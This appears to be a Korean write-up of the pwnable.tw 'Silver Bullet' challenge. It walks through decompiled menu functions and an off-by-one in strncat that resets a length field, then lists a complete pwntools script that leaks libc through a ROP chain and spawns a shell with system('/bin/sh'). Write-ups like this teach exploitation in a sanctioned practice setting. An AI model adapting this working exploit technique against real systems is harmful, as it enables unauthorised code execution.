[pwnable.tw]Silver Bullet
3개 메뉴로 구성되어있는 바이너리다.
1번 메뉴를 보면 입력받은 걸 s에 저장한다.근데 존재하면 그냥 꺼집니다. 그리고 *(s+12)에는 사이즈를 저장한다.
int __cdecl create_bullet(char *s)
{
size_t v2; // ST08_4
if ( *s )
return puts("You have been created the Bullet !");
printf("Give me your description of bullet :");
read_input(s, 48u);
v2 = strlen(s);
printf("Your power is : %u\n", v2);
*(s + 12) = v2;
return puts("Good luck !!");
}
2번 메뉴에서는 추가로 더 값을 쓸 수 있다. 여기서 strncat이라는 함수를 사용해서 값을 이어붙일 수 있다. 그런데 48을 넘길 수는 없다.
int __cdecl power_up(char *dest)
{
char s; // [esp+0h] [ebp-34h]
size_t v3; // [esp+30h] [ebp-4h]
v3 = 0;
memset(&s, 0, 48u);
if ( !*dest )
return puts("You need create the bullet first !");
if ( *(dest + 12) > 47u )
return puts("You can't power up any more !");
printf("Give me your another description of bullet :");
read_input(&s, 48 - *(dest + 12));
strncat(dest, &s, 48 - *(dest + 12));
v3 = strlen(&s) + *(dest + 12);
printf("Your new power is : %u\n", v3);
*(dest + 12) = v3;
return puts("Enjoy it !");
}
3번 메뉴인데 특이한점은 *(a1+48) 즉 사이즈만큼 계속 빼준다. *a2의 초기값은 2147483647이다.
signed int __cdecl beat(int a1, _DWORD *a2)
{
signed int result; // eax
if ( *a1 )
{
puts(">----------- Werewolf -----------<");
printf(" + NAME : %s\n", a2[1]);
printf(" + HP : %d\n", *a2);
puts(">--------------------------------<");
puts("Try to beat it .....");
usleep(1000000u);
*a2 -= *(a1 + 48);
if ( *a2 <= 0 )
{
puts("Oh ! You win !!");
result = 1;
}
else
{
puts("Sorry ... It still alive !!");
result = 0;
}
}
else
{
puts("You need create the bullet first !");
result = 0;
}
return result;
}
strncat에서 off-by-one 취약점이 일어난다. 이 함수를 보면 a와b의 문자열을 합치는데 a뒤의 널바이트를 제거하고 b뒤에 널바이트를 붙인다. 1번 메뉴에서 47개를 입력하고 2번 메뉴에서 1개를 입력하면 널바이트가 추가된다. 48개 뒤에는 *(s+12)위치인데 이 위치에는 사이즈를 저장한다. 여기서 사이즈를 초기화 시킬 수 있다. 그러면 입력을 더 받을 수 있고 ROP가 가능하다.
puts를 leak해주고 main으로 돌아가려면 3번메뉴에서 main함수에서 return 1을 해줘서 다시 초기 main으로 돌아올 수 있다. 아까 했던거 처럼 똑같이해줘서 리턴을 원하는곳으로 갈 수 있으므로 원샷 날리던지 system함수로 쉘을 띄우면 된다.
exploit.py
from pwn import *
context.log_level = 'debug'
e = ELF('./silver_bullet')
p = process('./silver_bullet')
p = remote('chall.pwnable.tw',10103)
#libc = e.libc
libc = ELF('./libc_32.so.6')
pebx = 0x08048475 # pop ebx ; ret
p.sendlineafter(':','1')
p.sendafter(':','A'*47)
p.sendlineafter(':','2')
p.sendafter(':','A')
# buf = 0x34 = 52
payload = 'A'*7 # 'A'*47 + A + '\x00' + 'A'*7 = 56
payload += p32(e.plt['puts']) + p32(pebx) + p32(e.got['puts']) # ret
payload += p32(e.symbols['main'])
p.sendlineafter(':','2')
p.sendafter(':',payload)
p.sendlineafter(':','3')
p.sendlineafter(':','3')
puts = u32(p.recvuntil('\xf7')[-4:])
log.info('puts : ' + hex(puts))
libc_base = puts - libc.symbols['puts']
log.info('libc_base : ' + hex(libc_base))
p.sendlineafter(':','1')
p.sendafter(':','A'*47)
p.sendlineafter(':','2')
p.sendafter(':','A')
oneshot=[0x3a819,0x5f065,0x5f066]
payload2 = 'A'*7
#payload2 += p32(libc_base + 0x3a819) #one_shot
payload2 += p32(libc_base + libc.symbols['system']) + p32(pebx) + p32(libc_base + libc.search('/bin/sh\x00').next())
p.sendlineafter(':','2')
p.sendafter(':',payload2)
p.sendlineafter(':','3')
p.sendlineafter(':','3')
p.interactive()